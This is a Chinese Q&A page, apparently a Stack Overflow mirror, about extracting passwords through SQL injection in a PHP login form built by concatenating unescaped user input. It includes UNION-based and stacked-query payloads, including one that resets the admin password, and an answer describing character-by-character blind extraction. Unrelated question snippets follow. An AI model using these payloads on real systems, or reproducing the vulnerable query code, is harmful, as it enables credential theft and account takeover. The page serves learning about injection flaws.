如何使用 SQL 注入提取登录信息?

2023-12-29

这是后端 PHP 代码,我将在其中测试漏洞。

if(isset($_POST["login"]) && isset($_POST["password"])){

$login = $_POST["login"];
$password = $_POST["password"];

$sql="SELECT * FROM users WHERE login='$login' AND password='$password'";

$result= mysqli_query($conn, $sql);

if(mysqli_num_rows($result) != 0){


    echo "<h1>Login Success!</h1>";

    $row = mysqli_fetch_array($result);
    extract($row);

    echo "Welcome , ".$login;


}

这是我将注入登录字段的代码。

' UNION SELECT * FROM users -- 

看起来我可以登录,但是一旦注入后,我应该怎么做才能在错误消息或网页上的任何内容中显示密码?

就像你们建议将什么查询附加到代码中以提取密码、数据库信息、所有表等。

请注意,我的 SQL 知识有限,因此我可能不知道任何查询可以实现这一目的。

假设后端或服务器端 PHP 代码也接受多查询执行。我也想知道如何通过多查询注入提取密码的解决方案?

像下面的代码一样,我可以更新用户的详细信息,假设我知道当我将其输入登录字段时其中有一个管理员用户

' OR 1 = 1; UPDATE users SET password='stackOverFlow' WHERE login='admin' -- 

向我推荐两种在网页上显示密码或有用信息的解决方案,只需在登录字段中进行代码注入,而不是在服务器可以执行多 SQL 查询或服务器无法执行多查询的情况下进行 URL 注入。


  1. 您可以通过将“a”更改为“z”多次发送输入

    ' union select * from user where login='admin' and SUBSTRING(password, 1, 1)='a' --
    
  2. 登录成功后,密码的第一个字符是“a”或“z”。

  3. 循环执行第 1 步,将 SUBSTRING(password, 1, 1) 更改为 SUBSTRING(password, 2, 1) 以检测密码中的第二个字符

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

如何使用 SQL 注入提取登录信息? 的相关文章

随机推荐

  • Xunit 中与 Visual Studio 测试中的 TestContext 类似的属性是什么?

    我们正在从 Visual Studio 测试迁移到 xunit 在 VStests 中 我们可以使用 TestContext 访问运行时测试参数 我希望使用 msbuild 在运行时从命令行提供的测试中设置一个全局变量 有人可以帮助找出 x
  • Flutter - 使用 Flutter 创建自定义控件

    我需要创建一个自定义控件 允许用户在有界矩形内拖动指针 非常喜欢这里的操纵杆控制 https github com zerokol JoystickView https github com zerokol JoystickView 我已经
  • django 按多对多对象的计数排序

    我有一个模型 class Category models Model questions models ManyToManyField Question related name cat question blank True cat na
  • ggpubr:更改 stat_compare_means Kruskal-Wallis p 值的字体大小

    我怎样才能改变字体大小stat compare means在下面的情节上 即 更改 Kruskal Wallis p 1 5e 09 和其他 p 值字体大小 我想使用比默认字体更小的字体 按照数据示例 library ggpubr data
  • Objective-C 线程安全计数器

    我试图以线程安全的方式控制网络活动指示器 这是我目前正在做的方法 但我认为必须有更好的方法来做到这一点 我一直在考虑使用锁 但这似乎是一项昂贵的操作 我一直在研究 OSAtomicAdd 但无法弄清楚如何在这种情况下使用它 void sta
  • ajax调用后jQuery点击功能不起作用? [复制]

    这个问题在这里已经有答案了 jQuery 点击功能在这里工作正常 div a class deletelanguage delete a div deletelanguage click function alert success 但如果
  • 如何正确使用WP7 sdk附带的图标?

    SDK 中已提供 浅色 或 深色 图标 具体取决于手机上设置的主题 在应用程序栏上 当主题更改时 图标会自动随之更改 此外 当您按下按钮时 无论您使用哪个主题 图像都会反转 因此它仍然可见 我可以轻松地弄清楚如何根据当前主题更改图标 然而
  • bash while循环只读取一行

    我对这段代码有疑问 while IFS read r line do echo host line IP addr echo line cut d f1 host echo line cut d f2 FILE CHECK ssh o Co
  • 嵌套 BlocBuilder() 调用的问题

    我的 Flutter 应用程序有多个 BloC 通过bloc and 颤振块包 这导致了一些技术困难 我使用解决方法解决了这些问题 但我想知道是否有更好的解决方案 我在用块构建器 当监听一个块时 每个块都有自己的 BlocBuilder 调
  • 如何从联系人中获取手机号码

    我的应用程序要求从联系人列表中选择一个联系人 然后仅获取所选联系人的姓名和手机号码以将其存储在应用程序中 我成功获取了姓名 但如何验证该联系人是否有手机号码 不是一个家 然后得到号码 如何查看联系人是否有一个或多个手机号码 在android
  • 设置文本换行的限制

    我正在尝试生成一个包含四个季度的图 每个季度都有一些文字说明该季度的情况 但是 当我尝试换行文本时 我不知道如何设置文本限制 例如 在附图中 我想将文本限制为x 0 但是 它会一直持续到 x 轴限制的末尾 请查找附件中的代码以及代码生成的相
  • Cygwin 中未安装 C++

    我刚刚安装了 Cygwin 并且可以从 Windows 启动 bash shell 执行ls emacs vi等等 但是 当我这样做时g 它说命令未找到 我想g Cygwin 中默认安装了吗 如果不是这种情况 我可以添加的确切类别是什么g
  • 我可以在 iTunes Connect 上更改应用程序的类别吗?

    我在应用程序商店添加了我的应用程序的许多版本 其中实用程序作为主要类别 但现在我想将其添加为生活方式类别 我可以在不删除应用程序的情况下更改此类别吗 创建应用程序的新版本并再次提交二进制文件 在创建新版本时 我们可以更改主要类别和次要类别
  • 将 PyArrayObject 数据类型转换为 C 数组

    我想在 C 扩展中使用我的 Numpy 数组 这种情况下的许多示例都使用 PyArrayObject 的结构 array gt data array gt strides 0 array gt strides 1 指针以便访问数据 如果我想
  • 查看休假事件

    我在 SAPUI5 应用程序中声明了一个视图控制器 现在我想要离开视图时执行任务由用户 已经可以添加回调函数了attachRoutePatternMatched现在 为了在用户导航视图时执行任务 我需要一个等效的函数来处理视图的离开 我用一
  • 当我使其中一个视图无效时,为什么我的布局会完全重绘?

    我有一个复杂的框架布局 其中包含多个自定义视图 主要视图是一个图表 覆盖图表的是一个自定义视图 它代表一个十字线指针 用户可以在图表周围拖动该指针以读取有关特定数据点的详细信息 框架布局捕获所有触摸事件 在其每个子视图上调用 命中测试 方法
  • 如何在 Rust 的 Cargo build 中指定 GLIBC 版本?

    我使用 Rust 1 34 和 1 35 目前它链接到GLIBC 2 18 我该如何限制cargo build链接GLIBC最新版本2 14 不幸的是 你不能 不是真的 而且不一致 这是任何动态链接到 GLIBC 的二进制文件都会遇到的问题
  • pywinauto capture_as_image 添加不需要的边框

    我在用pywinauto截取特定窗口的屏幕截图 这是我用来捕获记事本的代码 法语 Bloc notes from pywinauto import Application app Application connect title re B
  • Chrome 扩展程序“拒绝加载脚本,因为它违反了以下内容安全策略指令”

    我正在尝试创建一个 Chrome 扩展 但我的 JS 都不起作用 控制台显示此错误 拒绝加载脚本 https ajax googleapis com ajax libs jquery 1 12 0 jquery min js https a
  • 如何使用 SQL 注入提取登录信息?

    这是后端 PHP 代码 我将在其中测试漏洞 if isset POST login isset POST password login POST login password POST password sql SELECT FROM us